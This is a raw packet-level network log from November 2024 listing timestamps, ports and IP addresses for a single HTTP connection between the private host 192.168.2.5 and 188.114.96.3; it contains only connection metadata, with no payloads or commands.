Nov 1, 2024 15:15:00.664382935 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.664386988 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.664391994 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.664402008 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.664403915 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.664458990 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.664458990 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.665064096 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.665076017 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.665086031 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.665098906 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.665119886 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.665143013 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.665143013 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.665209055 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.665338039 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.665349960 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.665361881 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.665399075 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.665424109 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.665759087 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.665770054 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.665781975 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.665791988 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.665803909 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.665815115 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.665826082 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.665827036 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.665899992 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.665910959 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.665921926 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.665934086 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.665946007 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.665962934 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.665962934 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.665962934 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.665977955 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.666013956 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.666034937 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.666048050 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.666059017 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.666069984 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.666083097 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.666090012 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.666094065 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.666105986 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.666117907 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.666122913 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.666129112 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.666141033 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.666153908 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.666160107 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.666160107 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.666166067 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.666203976 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.666210890 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.666232109 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.666244030 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.666263103 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.666276932 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.666289091 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.666312933 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.666313887 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.666313887 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.666351080 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.666526079 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.666543007 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.666559935 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.666573048 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.666584015 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.666587114 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.666599035 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.666637897 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.666637897 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.666954041 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.666964054 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.666975975 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.666985989 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.666997910 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.667002916 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.667015076 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.667021036 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.667027950 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.667032957 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.667038918 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.667045116 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.667051077 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.667057037 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.667057037 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.667061090 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.667068005 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.667107105 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.667117119 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.667129993 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.667140007 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.667146921 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.667150974 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.667160988 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.667162895 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.667172909 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.667185068 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.667190075 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.667196035 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.667207956 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.667217970 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.667228937 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.667238951 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.667238951 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.667238951 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.667239904 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.667252064 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.667264938 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.667274952 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.667275906 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.667287111 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.667306900 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.667334080 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.667753935 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.667764902 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.667776108 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.667788982 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.667799950 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.667810917 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.667820930 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.667824030 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.667843103 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.667865992 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.668414116 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.668431044 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.668442011 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.668452024 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.668462992 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.668473959 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.668484926 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.668486118 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.668497086 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.668534040 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.668534040 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.668562889 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.668575048 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.668586969 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.668597937 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.668608904 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.668615103 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.668627024 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.668637991 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.668644905 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.668648958 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.668659925 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.668659925 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.668670893 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.668688059 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.668688059 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.668699026 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.668701887 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.668713093 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.668725014 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.668742895 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.668742895 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.668745041 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.668756008 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.668761969 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.668766975 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.668773890 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.668781042 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.668785095 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.668786049 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.668792963 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.668803930 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.668840885 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.668848038 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.668962955 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.668977022 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.669045925 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.669116020 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.669126987 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.669137001 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.669148922 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.669168949 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.669234037 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.669234037 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.669264078 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.669275999 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.669285059 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.669295073 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.669306040 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.669317961 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.669328928 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.669342041 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.669342041 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.669342995 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.669353962 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.669363022 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.669364929 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.669374943 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.669385910 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.669393063 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.669393063 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.669404984 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.669413090 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.669416904 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.669426918 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.669436932 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.669446945 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.669457912 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.669467926 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.669477940 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.669481039 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.669481039 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.669548988 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.669548988 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.669562101 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.669579029 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.669589996 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.669600010 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.669610023 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.669620037 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.669631004 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.669641972 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.669655085 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.669655085 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.669660091 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.669667006 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.669672012 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.669682026 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.669692993 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.669703960 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.669706106 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.669718981 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.669732094 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.669743061 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.669749022 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.669754028 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.669764042 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.669775963 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.669781923 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.669811010 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.669825077 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.669823885 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.669872046 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.669882059 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.669893026 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.669917107 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.669940948 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.669979095 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.669990063 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.670001030 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.670011997 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.670041084 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.670084953 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.670118093 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.670130014 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.670145988 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.670156956 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.670167923 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.670177937 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.670190096 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.670201063 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.670212030 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.670216084 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.670216084 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.670216084 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.670227051 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.670268059 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.670443058 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.670454025 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.670464039 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.670474052 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.670484066 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.670495033 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.670500040 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.670506001 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.670516968 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.670519114 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.670519114 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.670527935 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.670540094 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.670550108 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.670598030 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.670633078 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.670670986 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.670711040 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.670871973 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.670882940 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.670893908 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.670905113 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.670911074 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.670916080 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.670927048 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.670933962 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.670938969 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.670949936 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.670967102 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.670975924 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.670975924 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.670979023 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.670989990 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.670993090 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.671000957 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.671011925 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.671020985 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.671020985 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.671022892 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.671034098 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.671046019 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.671058893 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.671078920 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.671118021 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.671209097 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.671262026 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.671334028 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.671345949 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.671358109 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.671367884 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.671379089 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.671379089 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.671391964 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.671405077 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.671407938 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.671407938 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.671415091 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.671423912 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.671435118 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.671439886 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.671458960 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.671484947 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.671664000 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.671674967 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.671684980 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.671698093 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.671709061 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.671720982 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.671726942 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.671726942 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.671731949 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.671744108 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.671747923 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.671761990 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.671772957 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.671775103 CET	49874	80	192.168.2.5	188.114.96.3
